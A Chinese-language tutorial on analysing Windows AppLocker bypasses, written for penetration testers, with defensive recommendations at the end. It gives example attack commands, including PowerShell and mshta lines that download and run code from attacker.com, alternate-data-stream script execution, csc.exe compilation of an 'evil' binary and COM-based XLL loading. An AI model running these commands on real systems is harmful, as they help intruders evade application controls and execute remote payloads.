如何进行AppLocker绕过分析
AppLocker绕过分析
AppLocker是Windows中的应用程序白名单解决方案,用于限制用户可以运行的应用程序。作为安全研究人员或渗透测试人员,了解如何分析AppLocker的绕过方法对于评估系统安全性至关重要。
AppLocker基础分析
AppLocker工作原理
- 基于规则的应用程序控制
- 可针对可执行文件(.exe)、脚本(.ps1, .vbs, .js等)、Windows安装程序(.msi, .msp)和DLL文件设置规则
- 规则可以基于发布者、路径或文件哈希
常见规则类型
- 发布者规则:基于数字签名
- 路径规则:基于文件位置
- 哈希规则:基于文件哈希值
常见的AppLocker绕过技术
1. 利用受信任的路径
- Windows自带工具:使用系统自带的脚本宿主(如cscript.exe、wscript.exe、powershell.exe)
- 示例:
powershell.exe -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')"
2. 利用受信任的发布者
- 使用已签名且受信任的应用程序执行代码
- 示例工具:
- MSBuild.exe
- InstallUtil.exe
- Regsvr32.exe
- Rundll32.exe
3. 脚本语言绕过
- JavaScript/VBScript:
cscript.exe //E:JScript C:\path\to\malicious.js
- HTA文件:
mshta.exe http://attacker.com/malicious.hta
4. 注册表操作
- 修改注册表键值以改变执行策略或路径
- 示例:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v AllowUnsignedFiles /t REG_DWORD /d 1 /f
5. 文件重命名/移动
- 将受限制文件复制到允许的路径或重命名为允许的扩展名
6. 替代数据流(ADS)
- 将脚本隐藏在NTFS备用数据流中
- 示例:
type malicious.ps1 > allowed.txt:script.ps1
wscript.exe c:\allowed.txt:script.ps1
高级绕过技术
1. DLL劫持
- 利用应用程序加载DLL的顺序漏洞
- 将恶意DLL放在应用程序搜索路径中优先级更高的位置
2. COM对象滥用
- 通过注册的COM对象执行代码
- 示例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$com.RegisterXLL("C:\path\to\malicious.xll")
3. .NET编译技术
- 使用csc.exe编译内联C#代码
- 示例:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\temp\evil.exe C:\temp\evil.cs
4. 进程注入
- 将代码注入到受信任的进程中执行
- 常用工具:PowerSploit的Invoke-ReflectivePEInjection
防御措施分析
规则优化:
- 限制所有默认规则中的"Everyone"组
- 为管理员和普通用户设置不同的规则
监控与审计:
- 启用AppLocker审核模式进行测试
- 监控事件日志(事件ID 8003-8007)
补充控制:
- 结合Device Guard使用
- 实施用户权限最小化原则
- 定期更新规则和哈希值
脚本限制:
测试工具推荐
PowerShell模块:
- Get-AppLockerPolicy
- Test-AppLockerPolicy
第三方工具:
- LOLBAS (Living Off The Land Binaries and Scripts)
- GTFOBins (Unix系统的类似项目)
- SharpAppLocker (专门用于AppLocker测试的C#工具)
Metasploit模块:
- exploit/windows/local/applocker_bypass
总结
AppLocker绕过分析需要深入了解Windows系统机制和应用程序执行流程。有效的安全防护不应仅依赖AppLocker,而应采用多层次防御策略,包括应用程序白名单、最小特权原则、代码签名验证和持续监控的组合。